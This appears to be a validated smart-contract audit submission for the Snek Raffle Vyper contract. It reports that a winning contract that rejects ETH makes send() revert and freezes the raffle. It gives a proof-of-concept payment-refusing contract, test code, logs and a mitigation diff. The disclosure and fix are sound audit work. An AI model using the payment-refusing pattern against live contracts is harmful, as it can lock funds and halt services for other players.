Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

fulfillRandomWords send function fails doesn't returns success status if reward payment fails. User or Contract may deny payments to perform a DoS.

Summary

The fulfillRandomWords internal function contains a low-level function call to send. The send function does not return anything. Therefore, it is risky to use the send function.

Vulnerability Details

Checkout the Line 158

.
.
.
@internal
def fulfillRandomWords(request_id: uint256, random_words: uint256[MAX_ARRAY_SIZE]):
index_of_winner: uint256 = random_words[0] % len(self.players)
recent_winner: address = self.players[index_of_winner]
self.recent_winner = recent_winner
self.players = []
self.raffle_state = RaffleState.OPEN
self.last_timestamp = block.timestamp
rarity: uint256 = random_words[0] % 3
self.tokenIdToRarity[ERC721._total_supply()] = rarity
log WinnerPicked(recent_winner)
ERC721._mint(recent_winner, ERC721._total_supply())
send(recent_winner, self.balance) # Could lead to a DoS
----------^
.
.
.

Impact

A malicious user who is aware of this vulnerability could perform a Denial of Service (DoS) attack on the Snek Raffle. See the Proof of Concept (PoC) below for illustration.

PoC send causes DoS
  1. Create a Vyper Smart Contract called MockWinner inside contracts/test directory...

# SPDX-License-Identifier: MIT
# @version ^0.4.0b1
"""
@title MockWinner
@author theirrationalone
@notice Let's check reward failure
"""
# Errors
ERROR_JUST_DENYING_PAYMENTS: constant(String[40]) = "MockWinner: Just Denying Payments!"
@deploy
def __init__():
pass
@external
@payable
def __default__():
assert False, ERROR_JUST_DENYING_PAYMENTS
  1. Save the file.

  2. Go to tests/conftest.py and create a fixture...

MOCK_WINNER_LOCATION = "./contracts/test/MockWinner.vy"
@pytest.fixture
def mock_winner_boa() -> boa.contracts.vyper.vyper_contract.VyperContract:
return boa.load(MOCK_WINNER_LOCATION)
  1. save the file.

  2. Go to tests/snek_raffle_test.py and put the following test into that file...

def test_fails_if_winner_do_not_accept_reward_and_causes_dos(raffle_boa, vrf_coordinator_boa, mock_winner_boa, entrance_fee):
# set balance
boa.env.set_balance(mock_winner_boa.address, STARTING_BALANCE)
print("\n\nmock contract balance before enter into raffle: ", boa.env.get_balance(mock_winner_boa.address))
print("Raffle state : ", raffle_boa.get_raffle_state())
# enter into raffle
with boa.env.prank(mock_winner_boa.address):
raffle_boa.enter_raffle(value=entrance_fee)
print("mock contract balance after enter into raffle: ", boa.env.get_balance(mock_winner_boa.address))
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
print("Raffle state after requesting winner : ", raffle_boa.get_raffle_state())
with boa.reverts():
vrf_coordinator_boa.fulfillRandomWords(0, raffle_boa.address)
recent_winner = raffle_boa.get_recent_winner()
print("mock contract address : ", mock_winner_boa.address)
print("recent winner : ", recent_winner)
print("winner balance : ", boa.env.get_balance(recent_winner))
print("mock contract balance after winning raffle : ", boa.env.get_balance(recent_winner))
# Snek Raffle still in Calculating == 2 state.
print("Raffle state : ", raffle_boa.get_raffle_state())
  1. save the file, and open the terminal and execute the following command (Make sure venv for vyper is activated)

pytest -v tests/snek_raffle_test.py::test_fails_if_winner_do_not_accept_reward_and_causes_dos -s
  1. See the logs...

==================================================================== test session starts =====================================================================
platform linux -- Python 3.10.12, pytest-8.0.2, pluggy-1.4.0 -- /home/theirrationalone/vyperenv/bin/python
cachedir: .pytest_cache
hypothesis profile 'default' -> database=DirectoryBasedExampleDatabase(PosixPath('/home/theirrationalone/first-flights/2024-03-snek-raffle/.hypothesis/examples'))
rootdir: /home/theirrationalone/first-flights/2024-03-snek-raffle
plugins: titanoboa-0.1.8, cov-4.1.0, hypothesis-6.98.17
collected 1 item
tests/snek_raffle_test.py::test_fails_if_winner_do_not_accept_reward_and_causes_dos
mock contract balance before enter into raffle: 1000000000000000000
Raffle state : 1
mock contract balance after enter into raffle : 0
Raffle state after requesting winner : 2
mock contract address : 0xB822167C7EefF0B53DcfDEE2D8fe73dEDB25505b
recent winner : 0x0000000000000000000000000000000000000000
winner balance : 0
mock contract balance after winning raffle : 0
Raffle state : 2
PASSED
===================================================================== 1 passed in 1.62s ======================================================================
  1. As evident from the successful passing of the test, it indicates a Denial of Service (DoS) vulnerability.

Tools Used

Manual Review

Recommendation

The mitigation for this issue is straightforward. We can emit/log an event if a winner rejects the reward payment and allow the reward amount to remain in the raffle, making it withdrawable only by the deployer or owner of the raffle. This approach ensures that the raffle can continue and remain open for subsequent spins.

Update the contracts/snek_raffle.vy like below...

.
.
.
## Immutables
VRF_COORDINATOR: immutable(VRFCoordinatorV2)
GAS_LANE: immutable(bytes32)
SUBSCRIPTION_ID: immutable(uint64)
ENTRANCE_FEE: immutable(uint256)
RAFFLE_DURATION: immutable(uint256)
+ OWNER: immutable(address)
.
.
.
# Events
event RequestedRaffleWinner:
request_id: indexed(uint256)
event RaffleEntered:
player: indexed(address)
event WinnerPicked:
player: indexed(address)
+ event WinnerDeniedPayment:
+ winner: indexed(address)
+ reward: indexed(uint256)
# Constructor
@deploy
@payable
def __init__(
subscription_id: uint64,
gas_lane: bytes32, # keyHash
entrance_fee: uint256,
vrf_coordinator_v2: address,
):
ERC721.__init__("Snek Raffle", "SNEK", "", "snek raffle", "v0.0.1")
+ OWNER = msg.sender
SUBSCRIPTION_ID = subscription_id
GAS_LANE = gas_lane
ENTRANCE_FEE = entrance_fee
VRF_COORDINATOR = VRFCoordinatorV2(vrf_coordinator_v2)
RAFFLE_DURATION = 86400 # ~1 day
self.raffle_state = RaffleState.OPEN
self.last_timestamp = block.timestamp
self.rarityToTokenURI[COMMON] = COMMON_SNEK_URI
self.rarityToTokenURI[RARE] = RARE_SNEK_URI
self.rarityToTokenURI[LEGEND] = LEGEND_SNEK_URI
.
.
.
@internal
def fulfillRandomWords(request_id: uint256, random_words: uint256[MAX_ARRAY_SIZE]):
+ playersLength: uint256 = len(self.players)
- index_of_winner: uint256 = random_words[0] % len(self.players)
+ index_of_winner: uint256 = random_words[0] % playersLength
recent_winner: address = self.players[index_of_winner]
self.recent_winner = recent_winner
+ reward_amount: uint256 = playersLength * ENTRANCE_FEE
self.players = []
self.raffle_state = RaffleState.OPEN
self.last_timestamp = block.timestamp
rarity: uint256 = random_words[0] % 3
self.tokenIdToRarity[ERC721._total_supply()] = rarity
log WinnerPicked(recent_winner)
ERC721._mint(recent_winner, ERC721._total_supply())
- send(recent_winner, self.balance)
+ success: bool = raw_call(recent_winner, EMPTY_BYTES, value=reward_amount, revert_on_failure=False)
+ if success != True:
+ log WinnerDeniedPayment(recent_winner, reward_amount)
.
.
.
+ @external
+ def withdraw_excess():
+ if msg.sender == OWNER:
+ withdraw_amount: uint256 = self.balance - len(self.players) * ENTRANCE_FEE
+ success: bool = raw_call(msg.sender, EMPTY_BYTES, value=withdraw_amount, revert_on_failure=False)
+ assert success, ERROR_TRANSFER_FAILED
.
.
.
DoS Mitigated
  1. Create a Vyper Smart Contract called MockWinner inside contracts/test directory...

# SPDX-License-Identifier: MIT
# @version ^0.4.0b1
"""
@title MockWinner
@author theirrationalone
@notice Let's check reward failure
"""
# Errors
ERROR_JUST_DENYING_PAYMENTS: constant(String[40]) = "MockWinner: Just Denying Payments!"
@deploy
def __init__():
pass
@external
@payable # @nonpayable as alternative
def __default__():
# 👇 don't need to assert if we apply @nonpayable
assert False, ERROR_JUST_DENYING_PAYMENTS
  1. Save the file.

  2. Go to tests/conftest.py and create a fixture...

MOCK_WINNER_LOCATION = "./contracts/test/MockWinner.vy"
@pytest.fixture
def mock_winner_boa() -> boa.contracts.vyper.vyper_contract.VyperContract:
return boa.load(MOCK_WINNER_LOCATION)
  1. save the file.

  2. Go to tests/snek_raffle_test.py and put the following test into that file...

def test_fails_if_winner_do_not_accept_reward_and_causes_dos_mitigation(raffle_boa, vrf_coordinator_boa, mock_winner_boa, entrance_fee):
# set balance
boa.env.set_balance(mock_winner_boa.address, STARTING_BALANCE)
print("\n\nmock contract balance before enter into raffle : ", boa.env.get_balance(mock_winner_boa.address))
print("Raffle state : ", raffle_boa.get_raffle_state())
# enter into raffle
with boa.env.prank(mock_winner_boa.address):
raffle_boa.enter_raffle(value=entrance_fee)
print("mock contract balance after enter into raffle : ", boa.env.get_balance(mock_winner_boa.address))
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
print("Raffle state after requesting winner : ", raffle_boa.get_raffle_state())
# with boa.reverts():
vrf_coordinator_boa.fulfillRandomWords(0, raffle_boa.address)
recent_winner = raffle_boa.get_recent_winner()
print("mock contract address : ", mock_winner_boa.address)
print("recent winner : ", recent_winner)
print("winner balance : ", boa.env.get_balance(recent_winner))
print("mock contract balance after winning raffle : ", boa.env.get_balance(recent_winner))
# Snek Raffle Now again in Open == 1 state.
print("Raffle state : ", raffle_boa.get_raffle_state())
print("Raffle balance before owner withdrawal : ", boa.env.get_balance(raffle_boa.address))
raffle_boa.withdraw_excess()
print("Raffle balance after owner withdrawal : ", boa.env.get_balance(raffle_boa.address))
  1. save the file, and open the terminal and execute the following command (Make sure venv for vyper is activated)

pytest -v tests/snek_raffle_test.py::test_fails_if_winner_do_not_accept_reward_and_causes_dos_mitigation -s
  1. See the logs...

==================================================================== test session starts =====================================================================
platform linux -- Python 3.10.12, pytest-8.0.2, pluggy-1.4.0 -- /home/theirrationalone/vyperenv/bin/python
cachedir: .pytest_cache
hypothesis profile 'default' -> database=DirectoryBasedExampleDatabase(PosixPath('/home/theirrationalone/first-flights/2024-03-snek-raffle/.hypothesis/examples'))
rootdir: /home/theirrationalone/first-flights/2024-03-snek-raffle
plugins: titanoboa-0.1.8, cov-4.1.0, hypothesis-6.98.17
collected 1 item
tests/snek_raffle_test.py::test_fails_if_winner_do_not_accept_reward_and_causes_dos_mitigation
mock contract balance before enter into raffle : 1000000000000000000
Raffle state : 1
mock contract balance after enter into raffle : 0
Raffle state after requesting winner : 2
mock contract address : 0xB822167C7EefF0B53DcfDEE2D8fe73dEDB25505b
recent winner : 0xB822167C7EefF0B53DcfDEE2D8fe73dEDB25505b
winner balance : 0
mock contract balance after winning raffle : 0
Raffle state : 1
Raffle balance before owner withdrawal : 1000000000000000000
Raffle balance after owner withdrawal : 0
PASSED
===================================================================== 1 passed in 1.66s ======================================================================
  1. As evident from the successful passing of the test, Raffle is free again and ready for future spins.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Winner can be a contract that refuses ETH and brinks the whole contract + reverts on Chainlink VRF

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.